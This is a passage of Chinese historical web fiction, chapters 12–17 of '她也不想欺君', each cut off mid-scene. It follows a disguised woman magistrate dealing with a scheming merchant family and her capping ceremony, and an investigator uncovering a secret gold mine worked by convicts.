符老头是真的喜,黄黑色的脸上都能看出激动的红晕来:“知道,知道。草民有幸在公堂外见过您的样子,县令是个好官,帮我们除了张家夺回了田,我们心中都记得您呢。” “文华,快来,快来见过县令。”他朝着柜台后招手,一个圆溜溜的脑袋冒出。 他缓缓站起身,一手攥着只剩下一点蜡油的灯烛,另一只手捧着破旧的经书,听了铺子老板的话赶忙吹灭烛火,往梁温这边赶来。 “见过县令。”很是规矩的拱手,脸上带着温和的笑 12. 迟来归属 《她也不想欺君》全本免费阅读 隔日,梁温给梁老夫人请安后便收到了孙府的来信。 她第一次踏入苏瞿白的屋子,屋内陈设简单,他大马金刀的坐在檀木椅上,手中拿着棉布擦拭着长刀。 她开门见山道:“孙家来信了。”将手中带着些折痕的信件递给他。 苏瞿白将长刀插入刀鞘,接过信件一看,就几个字。 邀梁明府晚间百花楼一叙。 梁温坐在他旁边的木椅上,“上次孙有财见我欲让三成利。” “小气。”苏瞿白将信件团成废纸。 “我没应,往上提了两成。” 苏瞿白赞赏:“聪明。” 他又接着道:“孙家疑心病重,若是一口答应未免让他们生疑,这样吊着反倒让他们安心。” 梁温听他这么说,莫名想到一个字——贱。 呵,这般想着,竟把自己逗笑了。 她一展颜,苏瞿白便看过去:“笑什么?” 梁温收敛了笑意,“没事。” “孙家主君孙磊最是狡诈,比他弟弟孙有财难缠的多。这一次会面,无论他说了什么,你都应下。”苏瞿白为她谋划。 “嗯。” 梁温话不多,聊完正事后便想走,苏瞿白却又开口:“梁温,我先前同你说过幽州节度使沈巍吗?” 梁温顿住脚步。 苏瞿白为她倒茶:“我同你讲讲他吧,若是我猜的没错,你应该很快便会见到他了。” “你说。”梁温只得坐回继续慢品。 苏瞿白也为自己倒了杯清茶,杯底还有细碎的茶叶渣。 伴着茶香,两人在封闭的屋内对坐着。 沈巍,出身洛阳簪缨世家,十八岁一举成为武举状元郎,与当时的太子结交甚密,是盛京百家相求的好儿郎。 时值外敌来犯,沈巍投身军营三年,立下赫赫战功,因此得到先皇器重,被封为幽州节度使,同年娶了先太子胞妹,成为世人眼中的太子党羽。 他后来便常年镇守幽州,没有先皇召令不归。后来盛京出了件大事,群臣上奏弹劾先太子豢养私兵,贪污敛财,结党营私。先皇震怒,太子被禁足,但当时幽州与河东正戒严清暗探,消息没能送到。 后由左相携大理寺牵头,将先太子的罪名压实,先皇下令废储,先太子沦为庶民,永禁宫中。当夜,幽禁先太子的宫殿便起了火,等他被救出,已是死尸一具。 等沈巍得知时,快马加鞭赶回却没看见他最后一眼,发了疯要面圣。可先皇却只给他一道永镇幽州的圣旨。之后,沈巍二十多年再未入过盛京。 苏瞿白缓缓道出,指尖沾了杯口的茶水,他在桌子上一划,便弄出水痕来。 梁温放下杯盏:“所以,你们便认为沈巍便是军饷被盗案的主谋?” “不,我只信我亲手查到的,一切都只是猜测而已。” “但是盛京那些大人物想必是对这猜测喜闻乐见吧。” 一针见血。 梁温随口一说,他却不说话了。 梁温嗤笑一声,抬腿就走,待手落到门框上,便听身后传来他的声音:“所以我要查。查的一干二净,查的水落石出,我不会让忠贤臣污名加身丹心错付,也不会让奸佞臣稳坐高堂。” 这是她头一次见他这样,与平时爱笑的他不同,似是露了些锋芒。 也或许,这才是真的他。 梁温怔住,盛京的水太深了,任谁从那里走一遭都少有能干干净净的。是人都会变,忠良直谏的贤臣她钦佩,但她永远也成不了那样的人。 她学会的,便是趋利避害,永远站在有利于她的一方。 心下不知怎么,突然有些怦然,头一次听到这么有力的心跳声,像是擂鼓一般,但不急促。 她有点不懂了。 当初处理张家的案子是因初来乍到需要立威,后接触孙家也是受人挟制,为了保命被迫与之。她所走的每一步,都是她为自己计算好的。 桩桩件件,皆是有利可图。 所以她不懂,这就像是一片恶臭的土壤里开出了清香的花。 格外与众不同。 梁温转过身来,“那便去做你想做的。” 她没什么别的意思,只是觉得应该这样说。 梁温出了屋子,望着空荡的院子,忽然就有些明白为什么自己穿来后会适应的这么好了。 她没有被同化,只是以往的经历将她磨成了这样的性子,不是麻木僵化的,但也没有热血沸腾,只是被动的接受,完成别人认为她该完成的任务。 她的大脑已经告诉她,在这个朝代活下去就是她的任务,而她毫无迟疑的接受了。 她抬手捂着胸口,像是想把那种血液喷涌的感觉压下去,却只感受到掌心的跳动。 这早就不是她活着的那个时代了。 梁温蓦然笑了,她好像有点归属感了。 虽然只有那么一点点,但聊胜于无吧。 每个人有每个人的活法,她的活法不一定就错了。 无关对错,唯听本心。 她突然想逛逛这丰泽县,看人也好,看景也好,随便什么都行。 才出院门便撞上提着食盒的元宝,他低着头没瞧见门被打开,一个踉跄差点摔了。护好食盒稳住身子才朝她道:“郎主,这便用膳了,您要去哪啊?” 梁温摸了摸食盒外壁,还是温热的。 “元宝,你知道市井里哪家包子铺好吃吗?” 元宝摇头,他平日里用的饭菜都是府里伙房做的,郎主受伤后便更不爱出门,几次出门也很少带他,他对外面也知之甚少。 “我知道。”梁温已经将多余的情绪收起,但言语间还能听出愉悦。 “您知道?”元宝懵懵的,她怎么知道的,梁老夫人要是知道郎主在外用不知名膳食又该念叨她了。 “知道。” 她又道:“将食盒送到偏房门口,我带你去外面吃。” 元宝瞬间将所有烦恼疑惑抛在脑后,一听梁温要带她出去,二话没说便应声跟着。 偏房的窗子不知何时开了,缝隙里窥得见一双狭长的眼。 待梁温的身影消失,窗子才被放下,才有了些人气的院子又空荡下来。 梁温他们走的急,元宝没备车,两人就这样走着去了市井。 还是那个狭小的铺面,仅仅摆的下两张 13. 夜探矿山 《她也不想欺君》全本免费阅读 等她回到屋子,便见桌上的杯底压着一张纸条,她走近拿起一看,是苏瞿白的留下的。 最迟半月归,勿念。 梁温将纸条捻成一团,拿着火折子烧了个一干二净。 平日里他来去自如也不见他留个纸条,今个倒是想起来了。 其实他留不留都无所谓,梁温根本不在意他在哪,在哪里都好,反正与她干系不大。 关内,一道身影纵马疾驰,玄色胡服加身,草编的斗笠下压遮掩着面容,双手紧握缰绳,身体前倾。腰间挂着入鞘的长刀,随着颠簸的起伏晃动着。 越靠近城关,明亮的天空便被黑沉沉的乌云侵覆,细密的雨水砸落在满是尘灰的土地上,汇聚成混浊的浅坑。 马蹄重重踏下,无数水花伴着污泥飞溅,斜飞的雨水洇湿了他的衣袍,斗笠挂满水链,任意的飘落。 苏瞿白走的不是官道,路上不太平整,坑洼汇集,两旁的枯枝野草长的高,遮掩了他一半身形。 就这样踏过两道坡,他飞身而下,摸了摸骏马的脖颈,便一拍马的屁股,嘶鸣声突起,骏马转头向原路狂奔。 雨水更大了,两道坡中间的沟壑积满了水,杂草漂浮在表面,顺着水流向远方流去。 苏瞿白抬手将斗笠下压,顺着缝隙流到脸上的雨水带着一股子腥气味儿。 密密麻麻的枯草直挺的触到他的胸膛,他洞察四方辨认清方位后才弯着腰前行,手中的动作轻缓,加上雨水的遮掩,更加不易被发现。 突然,一阵训练有素的踢踏声渐近,苏瞿白整个人紧紧趴向地面,抬眸寻找着声音的来源。 身着便服的人排着队,腰间挂着长刀,头戴斗笠,肩披蓑衣。个个身体壮实,露出的皮肤暴着青筋,眼神凶狠。 走到一处较为空阔的地方,为首的那人扬刀,后面的人四散开来,拿着长刀在草丛里探查着。 苏瞿白匍匐在地屏着呼吸,缠着黑布条的手指握上腰间的刀柄,左手慢慢拨弄开眼前的枯草,露出一个细小的缝来。 脚步声越来越近,长刀刺入草丛的声音越发狠厉,就在他将长刀抽出一截时,靠近城关落定山的山脚下爆出轰隆声响。 那几人齐齐抬眼望去,为首的那个凝视了许久才嘶哑着嗓音开口,声音像是困兽般,透着古怪:“撤。” 苏瞿白听到那拗口的音色,心下沉了两分,这不是关内的口音,是草原的人。 暗探还是…… 苏瞿白又伏着身子侯了一刻钟,没再听到旁的动静这才起身,继续弯着腰前行。 草丛边缘靠近山林,不是正在开采矿石的落定山,而是更为高耸的望畿山,这山名由来据说是登顶时远眺能够看到远在千里之外的都城,因此得名望畿山。 苏瞿白此行也是奔着这个来的,与正在开采的落定山不同,这里只有寻常巡视探山的小兵,防卫较松,望畿山高耸,伫立顶端总能探查到一些往日里不易察觉的事。 他隐匿着身形,一路爬到山顶,才登上山,便有一把长刀挥来,直挺挺的停在他的脖颈处:“谁?” 苏瞿白反应快,两只拇指夹住刀身,黑布条被割开道裂缝,他仰脖取下斗笠,这才露出样貌来。 “是我。” 长刀收回,追风拱手:“主子。” 苏瞿白望向旁边略低的山顶道:“落定山那边怎么样了?” “落定山近日开采的速度快了不少,整日都能听见轰隆的声音,他们好似再找新的矿口。” 追风压低嗓音:“而且他们巡逻的队伍多了两支,更不好查探了。” 苏瞿白皱眉:“陈虎呢?” “还潜在里面,不过最近没传消息出来。” 苏瞿白从石头堆里翻出来一个破烂包袱,里面装着粗布麻衣:“你在这里守着动向,我要进去探探。” 他解下长刀扔给追风,利索的脱掉身上的衣袍,换上那一身粗布麻衣,右手往地上摩擦,沾着灰的手抹上脸,将冷白的肤色藏起。 望畿山有条隐秘的小道,是从半山腰连接至山脚处的断裂缝隙,黑黢黢的,里面都是碎石,崖壁还时不时落下几块巨石。 苏瞿白点着火折子,一点点向下摩挲。黑黢黢的崖壁缝隙中偶有滴答滴答的水声。 窸窸窣窣的声响持续不断,不知过了多久,苏瞿白摸到了墙壁上湿漉漉的泥土,这便快到了。 等走到缝隙尽头是一处洞穴,头顶处泄露几分天光,他伸出脚试探性的寻找陈虎挖的连接废弃矿洞的通道口。 通道口不大,正好成年男子肩宽的大小,苏瞿白在狭小的空间里攀爬,身上沾满了泥石碎屑,原本顺直的长发又乱遭起来。 刚靠进矿洞,便听到巡逻队伍的脚步声,他将耳朵贴在地上,等声音消失后才闪身而过。 新矿洞就是在废弃矿洞的基础上又重新挖掘的,因此相连,相较于新的矿洞,这边巡逻的队伍更少一些。 他一路摸索到矿工密集的地方,从角落里捡了个装满矿石的背篓,戴上自己私藏的生锈的铁链,随着人群沉默的向外走。 等到了矿洞外,几个监工混在一起吃酒,手中的马鞭时不时拿起威胁着矿工。 苏瞿白混入过两次,这群矿工不是从平民百姓里招募的,而是直接从大牢里挑出的壮汉,脚上带着镣铐,长长的锁链拖在地上发出闷响,他们低垂着头,辨认不出原貌。 关内的天依旧昏暗,墨色浓云滚滚翻动,雷霆忽闪,像是蛇信子一般时时划破长空,云层被搅动成漩涡状,天光从中乍现开来。 蓦然,一道粗壮的雷霆从云层中脱落猛地砸向地面,将天际都照亮半晌。 矿工脸上的麻木,伤疤以及犯罪所刺的罪字都赤/裸/裸的提醒着苏瞿白,这里就是幽州。 苏瞿白暗中找了两遍陈虎,却没见到他的身影,心中不由一沉。 这里离大狱算不上近,如果陈虎被逮了也不大可能会压到大狱里,而离矿山不远处就有一座看守所,那里常年戒备森严,说不定在那。 大狱里提出来的矿工分成了两拨,白天黑夜分别交错开采,苏瞿白和陈虎混入的正是白日里那拨,正好方便苏瞿白夜 14. 矿山闹剧 《她也不想欺君》全本免费阅读 梁温晚些时候已经换好了衣袍,就等着孙家来人接她。 等了两刻钟,元宝进了院子送来孙家的信,梁温接过:“留了话没有?” “没有,只有这封信。”元宝摇头。 梁温让他退下了,拆开手中的信封,里面依旧只有简略的几个字。 明日再聚。 梁温看了许久,嗤笑一声,将信件烧了个干净。 还真是……好大的派头。 她干脆起身去了梁老夫人的院子,正值晚膳,梁温突然想起那个时不时派人送糕点来的老夫人,现下无事正好去陪陪她。 刚进院子就遇上了老夫人身边的刘嬷嬷,她步履匆匆向院外走去,梁温与她在拐角处撞在一起。 “刘嬷嬷怎么走的这样急?” 刘嬷嬷赶紧向她问好,“家里出点事,向老夫人告了假,这便要赶回去。” 梁温见她神色慌张,宽慰道:“别急,没事的。” 刘嬷嬷应下便走了,元宝看的稀奇,嘴边嘟囔:“刘嬷嬷平日宠辱不惊的,今日这是头一次见她这样。” 梁温走上台阶:“有什么奇怪的,世上总有她在意的人。” 老夫人也算出身显贵世家,平日里注重规矩,又喜静,院中伺候的丫鬟小厮都被调教的极好,行止间姿态从容麻利,眼力见极好。 这不,梁温才进院,就有丫鬟进了屋子告知。 等她进了屋,祖母已经坐好等着了,面色红润有光泽,将养的极好。她笑着起身拉过梁温的手,对视而坐,好一派承欢膝下的好景。 梁老夫人摸了摸她的脸颊,见多了些棱角,怜惜道:“瘦了。” 梁温:“没瘦,长开了。” “也是,过些日子便是你的加冠礼了。”说到这,梁老夫人眼角又湿润起来,“本来不应该是冠礼的。” 梁温将梁老夫人带些褶皱的手握住:“没事。” 梁温的生辰在三月初三,是个逢春的好日子。她不太在意这些,便没将生辰放在心上。 见她伤感,梁温避开这个话题:“过些日子便是清明了,县上定是热闹,祖母总是闷在家中,不妨出去走走解解闷。” 梁老夫人摇头,“不了,年岁大了,不好热闹,你有空时常来瞧瞧我便是最好的了。” 许是人老了都喜欢儿女承欢膝下含饴弄孙,梁老夫人年轻时也是个手段狠厉的,将家宅镇的严,岁数一上来,竟与先前大不相同,时常伤感,情到深处还要落泪。 梁温自认不是个温情的人,此时看着眼前这个头发花白的老人心下也有些发软。不管怎么说,她都是梁温在这个世上唯一的亲人了。 两人脉脉温情时,丫鬟便轻手轻脚的将晚膳摆放好了,梁老夫人日常晚膳用的少,今日打眼一看却是满桌珍馐,应是得了梁温来了的信儿特意吩咐的。 梁温与梁老夫人用完膳,也没急着走,颇有兴致的陪她手谈一局。 梁温别的不会,这些个棋她倒是略懂一些。黑白的玉石棋子错落纵横的落在棋盘上,梁温没什么胜负欲,梁老夫人也只是找个法子多留她一会儿,两人一来一往间都很平和。 等到了后面,梁老夫人却认真起来,落子的速度慢了下来,指间执着棋子谨慎的走着下一步,梁温落子的速度倒是快,吞杀了不少白子。 梁老夫人蓦然一笑,“棋艺进步太快了。” “没有,您故意让着我呢。”梁温有自知之明,她的棋艺可没好到那个份上,梁老夫人几次落子都迟疑的很,落在了显眼的下风处。 梁老夫人捡起一颗被围的白子:“困住了就是困住了,再怎么说都是苍白无力的辩解。” 梁温看她,眉眼依旧柔和,只是眼中深沉起来。 梁温一颗一颗捡起黑子,玉石撞击发出脆响,慢慢的棋盘上便只剩下白子,她将黑子都放回棋篓,随后取下梁老夫人手中的白子放回到原来的位子。 “看,这便脱困了。” 梁老夫人也顾不上仪态了,捂着嘴笑得欢,摸过梁温的手:“你这孩子,好啊,以后若是遇到了这样的境况,也要记得你今日的解法。” 她笑了好些时候才停住:“虽然无赖了些,但也是个好法子。” 梁温将白子也一颗又一颗的放回棋篓。 梁老夫人看她不说话:“裴安,你近些日子遇到什么事了?” 梁温顿住:“祖母,您自在吗?您这一生,自在吗?” 梁老夫人不加思索:“自在,却也不自在。” “你呢?你觉得自在吗?”没等梁温回应,梁老夫人便替她说了:“你应是极不自在的。” 梁温也不清楚,太多事了,像是陷入了泥沼,不能动弹,一动便加速下沉。 梁温又问:“那若是只为活命自保做出选择,这样对吗?” 梁老夫人不说别的,只是摸摸她的脸颊:“孩童时的我时常羡慕寻常人家的孩子,没有拘束,但长大了却不在向往,十几岁的年纪便要为生计打拼,眼里全是对活着的渴望。有了足够温饱的银子,却又不满足想要过得更好,于是欲望袭来,一发不可收拾,就只能更拼命。一代一代,皆是如此。裴安,人都是不信命的。活着,也是要付出代价的。” 梁老夫人似是没有棱角,温和的,柔软的接纳着看似平滑却满是尖刺的梁温。 窗子开着,幽幽的凉风吹进,将烛火吹得左右摇晃,两人的身影投在地上,被拉长放大。 “其实,你和你父亲真的很像,一样的固执。但又不太一样,你父亲他不像你聪慧。”梁老夫人清呷了一口茶。 梁温这是第一次从她口中听到梁旭川,只言片语,梁温也想象不出来他究竟是一个怎样的人。 在梁老夫人口中是有些愚钝的人,元宝口中是个温润恭谦俊美的男子。除了这些,她便在没有别的印象了。 梁温没多问,一是怕不小心暴露什么,毕竟多说多错,二是梁老夫人的样子实在不像是想要细说。 明月高悬,梁温带着梁老 15. 安插眼线 《她也不想欺君》全本免费阅读 苏瞿白又套好镣铐,躲到了茅厕旁边,故意露出一截身影,让巡逻的士兵抓到他。 他被人揪着头发扯起来,一路拖拽到监工面前,沙石磨破他的衣袍。 监工二话没说上来就是两鞭子,狠狠抽在苏瞿白的脊背上,两道血印透出,他颤抖着,好像害怕到了极点。 监工将鞭子扔在满是碎屑的桌子上,“让他下矿,还敢偷懒,都是一群什么东西。” 当即便有人踹了他一脚:“听不懂人话吗?让你滚下去呢。” 苏瞿白一双黑沉沉的眸子低垂着,趴跪在地上,好久才费力起身,呼吸沉重的向矿洞走去。 刚下矿,便被人狠狠一撞,苏瞿白被铁链绊倒,脑袋磕上嶙峋的石壁上,血顺着眉骨流进眼里。 苏瞿白没停留,起身抹了把脸,低头往里面走去。右手一张,写些字的纸条露出。他看完便拿沾着血的手碾成团,扔进了自己的鞋中。 接下来一连几天他都随着矿工上矿,没再外出行动。 梁温这次没等孙家来人接,而是让元宝备了马车直接去了百花楼,才到那里便撞上了孙有财。 孙有财一愣,笑着朝她迎过来:“梁明府怎么自个来了,我刚打算遣人去接您。” 梁温连帘子都没掀开,直接道:“等不起,孙家人日理万机,百忙之中还能想起我这么个人,我倒颇有些……受宠若惊。” 孙有财装傻充愣,“昨天实在是忙,供货的商家出了点状况,主君来的晚了些,便没敢打扰明府。” 梁温不接茬。 孙有财笑得依旧:“既然明府亲自来了,定不能白来,我这便为您引路。主君在孙家别院,就离这里不远。” 元宝牵着缰绳,得了梁温的令才驾车跟上去。 孙家别院偏僻,周围没多少人家。 梁温掀开一点缝隙,别院四周都是穿着常服的护卫,腰间没挂刀。 是龙潭还是虎穴,总要一探才知。 “明府,到了。”孙有财的声音响起,他站在台阶上,看着梁温下了马车。 梁温看着别院高挂的牌匾,让元宝留在原地看马。 元宝最是听话,虽然心里担心,不愿在这里守着,但梁温发话了,他还是一字未说就干等着。 孙家不愧是皇商,家中底蕴丰厚,连一座别院都修建的富丽堂皇。梁温就那么看了一眼,都能看出一砖一瓦皆用的上好的东西。 大堂离得近,梁温被孙有财引到木椅上,有丫鬟为她倒茶。 孙有财坐在她对面,“明府尝尝,这是南边的新茶,虽说没有多名贵,却也多了几分别的滋味。” 梁温轻呷了一口,除了苦味和扑鼻的清香,她再也喝不出什么别的。 牛嚼牡丹,说的就是她吧。 “我说今个窗外枝头上老有鸟雀在叫,原来是梁明府来了。”身材羸弱的男子披着大氅被人扶进来,在梁温身边落座。 说的比唱的都好听,梁温摩挲着杯口,看着孙家主君屏退仆从。 门窗都开着,正对着流水假山,孙府的仆从精心打理着,在初春的幽州,这里却绿意盎然。 孙磊为她倒茶,“梁明府和我想的不太一样。” “哪里不一样。”梁温大拇指指腹擦去溅到指骨的茶水。 孙磊却不说话了。 “听说梁明府想要五成利,不知您是想要哪五成利啊?” 梁温收回手,搭在腿上:“那就要看您想给哪五成利了。” “哈哈哈哈哈,谈什么利不利的,我就是看梁明府合眼缘,想交你这个朋友。”孙磊边笑边咳,孙有财见状赶忙走近为他轻拍后背。 “可我就只是个贪财的。”梁温见他咳的厉害,仿佛下一刻便要撅过去。 孙磊不笑了,眼眶咳的通红:“五成利太多了,梁明府怕是吞不下。” 梁温起身,离他远了几步:“没什么吞不下的,我有多大的本事自己清楚,能不能吞下,你不清楚,我清楚。” 孙磊盯着她:“三成。” 梁温分毫不让:“五成。” 孙磊又笑了,笑着咳,咳着笑。梁温又默默后退了两步,他是真有病。 毋庸置疑,还是离远点。 “那就五成。”孙磊也不挣了,反正给什么利是他孙家说了算。 梁温如何能不知道他的打算,就这样挺好的,让孙家主君认为她是一个不够精明的贪人。 孙磊面露疲惫:“梁明府也知道,我孙家世代行商,与各地少不了往来。别的地方还好,但幽州地处边界,管辖严苛,有时还需您通融一下。” “好说。” 孙家动作就是快,梁温前脚才到县衙内院,孙家就派人从后门送来数十箱金元宝。 为首的小厮递话:“我家主君留话,为了让您瞧出孙府的诚意,特意送来一部分先让您瞧瞧。” 梁温看着他们离开,又看向那满院的箱子。 往后的每一步,都难走了。 “元宝,找几个人来,将这些箱子放在地窖里。” “是。” “然后你去祖母那里要个懂账的人,将地窖里的东西登记造册。” “是。” 撂下话,梁温头也不回的去了书房,她坐在桌案旁,一笔又一笔的临摹着。 她心中不静。 她着了魔一般反复临摹,等她反应过来时,屋内已经昏暗的紧了。 元宝罕见的没来给她燃烛,梁温推开门,撞上正往内赶的元宝。 “郎主,这是地窖的账册,已经详细记载了。”元宝将手里的东西递给梁温,随后入了屋子燃烛。 “去拿给祖母。”梁温翻看了两眼,又交给元宝。 “好。” 隔日,梁温上衙处理公务便得了孙家的信儿。 衙役将书信送来时,她便见跟着来的还有一人。 “下官元岐,任命接任县丞。”大堂上,书生打扮的男子一身银纹锦袍,肩上背着包袱,手中的纸扇张开着,扇面上独一个“义”字。 梁温暂时没管他,先将孙家的来信拆开了,单薄的纸张上就透露着眼前这个元岐是他们的人,安插在县丞这个位子来协助她。 协助? 监视罢了。 梁温看向元岐,他眼睛圆圆的,总给人一种值得被信任的感觉。 梁温问了句废话:“你叫元岐。” “ 16. 二十冠礼 《她也不想欺君》全本免费阅读 梁温是闲下来了,可县衙内院却忙起来了,管事整日忙碌操持着,急得嘴角都起了燎泡。 管事是前两日才回来的,他家中出了事赶回了盛京,才回来便从老夫人那里得了个极为要紧的差事——冠礼。 随着渐暖的春风,一起送到县衙内院的便是梁温的二十岁生辰宴,与以往不同的是,这次更是她的冠礼。 梁温倒没觉得这个日子有多特殊,反正只是给外人看的,最大的用处便是遮掩她的身份。 毕竟,她也不是真的男子。 这日她才起身,梁老夫人便派了刘嬷嬷来唤她,等她到的时候梁老夫人正端详着被丫鬟撑起来的吉服。 绛红色的锦袍,用金丝银线绣着纹边,外襟为玄色,上面绣着的花样梁温不太认识。 见她来,梁老夫人便让人收了吉服。 梁温坐在梁老夫人对面,桌面上早已摆放好了精致的早膳。 梁温率先开口:“今日瞧着您精神不错,想来昨晚睡得挺好的。” “嗯,管事回来的时候从盛京带来了安神香,晚上就燃一些,确实不错。”梁老夫人用公筷给她夹了点菜:“裴安,你是不是不想过冠礼。” 梁温拿筷的手顿住:“只是觉得没必要。” 梁老夫人喝了口青菜粥:“我知道。但总得做给别人看,男子二十而冠是老祖宗传下来的,虽说你……你就当是补上的笄礼。是委屈了一些,但两者总得有一个。” 梁温没再反驳,其实她也明白梁老夫人为何这般惦记这个冠礼,无非是觉得愧对于她,想要补偿,但又碍于身份只能大张旗鼓举行冠礼。 如果这能减轻她的愧疚之心,梁温没什么不好接受的。 “其实按规矩冠礼应该在二月就办的,但你那时遇害,身子虚弱,实在算不上吉日。之后公务缠身,又抽不出时间来,又耽搁了。正巧这次赶上你的生辰,索性一并大办了,正好去去这几日的霉气。”梁老夫人和她解释道。 “好。”梁温将碗中的粥一勺一勺送入口中。 梁老夫人极为操心,她对这次冠礼极为看重:“具体事宜管事和你说了没?” “说了,昨晚便找过我了,一应事宜交代的很清楚详细。”梁温又续了碗粥。 “说了便好。”梁老夫人这才放心。 梁老夫人又交代了好些话才放人,梁温昨晚梦魇没太睡好,醒来也不记得梦到了什么,从梁老夫人那里回来后又回院子睡了回笼觉。 与此同时,苏瞿白与陈虎也搭上线了。 关内阴雨绵绵,考虑到可能有倒塌的危险,矿山那里便停止了开采。 苏瞿白等人被转移到看守所的地牢中,数百人交错的坐在阴潮的地上,称得上是人挤人。 苏瞿白被挤到土墙边,湿漉漉渗着水的墙混着土透着寒气。他蜷缩成一团,倚靠着墙壁休憩,十指指缝满是泥垢,指骨磨掉血肉形成老疤。 一个身影蹲着身子向他这里凑,苏瞿白敏锐的察觉有人想要碰触他的脚踝,他将脚藏得更深,那人却转变方向摸了他的手腕。 苏瞿白睁眼,对上陈虎亮晶晶的眼睛。 陈虎将苏瞿白紧攥的拳摊平,用指尖在上面划动着。 陈虎:主子,地图到手了。 苏瞿白看他,他指了指自己的头。 苏瞿白也拉过他的手,一下下划动。 苏瞿白:沈巍有动向吗? 陈虎:追风来信,他最近都在练武场。主子,我已将地图临摹给追风了。 苏瞿白点头,这一趟倒是来的值。 上次苏瞿白下矿被撞到便是陈虎安插的人给他传递消息,陈虎当时被调到看守所那边运矿,歪打正着撞见夜探看守所的苏瞿白,便闹出了一些动静将附近巡逻的士兵给吸引走了。后来两人联络上后,陈虎便知道了看守所地图之事。 两人自那天后分头行动,陈虎摸地图,苏瞿白探矿洞。 苏瞿白再次拉过陈虎的手。 苏瞿白:矿洞有蹊跷,每次下矿都会有十几人莫名失踪,之后轮换时又会出现。 陈虎皱眉,他之前从未注意到。这几个月来,矿山动静不断,已经炸出好些个矿口。什么样的山都禁不住这样折腾,沈巍到底在搞什么。 苏瞿白看出他眼底的疑惑,他再次在陈虎掌心滑动。 陈虎险些没绷住,遏制住已经到了嗓子眼的话。 苏瞿白写的是金矿二字。 如果是真的,那沈巍绝对疯了。 苏瞿白:天晴你我都走,矿山这边不用盯了。 陈虎急了:那就任由他挖下去? 苏瞿白:他已经挖到了,没必要再待下去。 陈虎一脸不可置信,他潜伏了一月有余了,他怎么一点风声都没听见。 苏瞿白没给他解惑,而是靠着墙闭目休憩。 本来他只是猜测,却没想到前两日起夜时看到下矿时消失的十几个矿工都被拖走,一看便是经历了酷刑没了气息。他们一行人被扔在堆满枯骨的坑洞里,暴尸荒野。他等士兵走后去坑洞探查时从一具尸体里找到一块金石,实在太小一块,夹在手腕的绑带间。要不是绑带脱落,他也注意不到。 那块金石还掺着新土,是新开采出来的。再一联想到这十几人死的蹊跷,便能轻而易举的推敲出暗中的隐秘。 落定山表面上是在开采铁矿,实则是为了掩人耳目。 隔日天便放晴了,一群被关押在地牢的人重新见了天光,但依旧没让下矿,因为矿洞口出现了塌方,淤泥填满了矿洞。 为了防止再次塌陷,监工的人打算先不管,晾晒牢固再清理。 苏瞿白和陈虎趁机跑了,又顺着望畿山的断崖与追风会和。 追风一见他们两个便没忍住偷笑起来,真真是从乞丐窝里刚出来一般,蓬头垢面,不修边幅,下巴上长着沾泥的胡茬。 陈虎嘿了一声,直接抱住追风一顿乱蹭:“叫你笑,笑毛啊,有那么好笑吗?” 追风嫌弃的抵住他的脸:“你去街上拿个破碗绝对不会有人怀疑你不是叫花子。” 陈虎气的哼了一声。 追风看向旁边拿着棉布擦拭起脸的苏瞿白,问道:“主子,地图指向的是关外,我们要去吗?” 苏瞿白褪去褴褛的灰袍,打着赤膊擦拭着:“准备准备,找个商队混进去,咱们出趟关。” 他问道:“盛京那边如何了?” “苏家没人闹事,圣上又罢黜了好些个朝臣。” 圣上疑心病越发重了,苏瞿白心里打着盘算,金矿之事得瞒着。 苏瞿白坐在巨石上,手中的棉布被弄脏,又问了句:“丰泽县呢?” “丰泽县?好着呢,没事啊。孙家人赶回盛京了,与沈巍没有接触 17. 步步紧逼 《她也不想欺君》全本免费阅读 等送走了徐刺史,场间的氛围竟放松下来。 衙役官员纷纷向她道贺,梁温笑着应下。 冠礼费心费力,梁老夫人年岁大了,多少有些疲乏,和梁温说了声便回了院子。 这下正厅只有符家人候在席上等她,梁温将旁人全都送走,让元宝上了一坛子清酒。 她直接坐在符家人身旁,符杳多次见她却依旧会羞涩的低头,然后又慢慢凑上来,睁着杏眼望她。 好像她是什么稀罕物一样。 桌上备好了酒菜,符老头和符文华各倒了酒,举杯祝福:“梁县令生辰快乐,平安顺遂,百岁无忧。” 梁温脸上的笑意真实了两分,与他们共饮。 符文华想起什么,看向符杳:“杳杳,快将给县令准备的生辰礼拿出来。” 符杳立刻从袖口拿出用油纸包着的玉坠子,下方打着五彩络子。 “这玉坠子虽有些小,但成色极好,润/滑细腻,底下的络子是杳杳打的,特意买的五彩线,意头好。”符文华有些不好意思的摸着耳垂:“这礼没多贵重,但是心意是有的。” 梁温接过:“这络子打的好,配上玉坠子更显精致。心意便很好,千金难买。” 符杳一听,耳根瞬间红了,水润润的眼睛轻轻眨动,双手摆动。 梁温看不太懂她的意思,符文华笑着跟她解释:“她说县令要是喜欢她还可以给您打络子。” 梁温摇头,晃了晃手中的玉坠子:“不用,耗费心力,我有这个就行了。” 元宝抱来的那坛子清酒不醉人,醇香甘甜,梁温还挺喜欢的。 符家人道别后,梁温索性换了个地方继续赏景饮酒,桃花纷纷扬扬洒落,实木地板上铺了皮毛毯子,桌案上放着两小坛清酿,与符家人一同喝的那坛不同,这酒水辛辣甘冽。 午日的光晃人,梁温时不时要把头躲进树的投影里,整个身子倚靠在软枕上,身子都酥软下来。 她身上还穿着加冠时的吉服,黑红间色相配,更显其肤色欺霜赛雪,鞋袜被她褪下扔在一旁,一双瘦削精致的脚赤坦坦的被日光吻着。 元宝被她遣走,诺大的院中只有她一人,但也清净。梁温喜欢这样的舒坦日子,赏赏景,晒晒光,别提多舒服。 她指尖捏着精致的银酒杯,一口一口清酒送入口中,等有了两分醉意,意识被浅略蒙蔽,她顿觉不畅快。 扔了杯,拿着配套的酒壶对嘴饮起来,手臂扬的高还微微打着掺,倾泻的酒水偏移,弄湿了她的领口和一截长发。 脸上多了酡红色,指腹透着粉,失了力,酒壶倒落在地上,清酒流出洇湿了大片。 梁温半睁着眼,整个天地都在晃,弄的她晕乎乎的。携着暖意的日光倾洒在她身上,她更加倦懒的倚靠着,薄弱的意识突然垮掉,整个人就这样睡了过去。 太放肆了,失了意识前梁温还在想。 苏瞿白翻身而入便见她这副模样,他走近,垂眸看她。 发冠歪了,苏瞿白弯腰想要解下,将要触及时却骤然收回手。随后掀袍坐在她旁边,将腰间碍事的刀取下立在一旁,从桌案上取了另外一坛酒开封畅饮。 这一守,便受了一个下午。 天边大片的火烧云,太阳只剩下一小截露在外边,裹挟着暖意的风也凉下来。 梁温才睁眼,便见苏瞿白敞腿而坐,狭长的双眸袒露着,两道视线就这样撞在一起,幽深的眸子瞧不出思绪。 消失无踪的人又这样凭空出现了,梁温想他真把这里当成他家后花园了,来去自如。 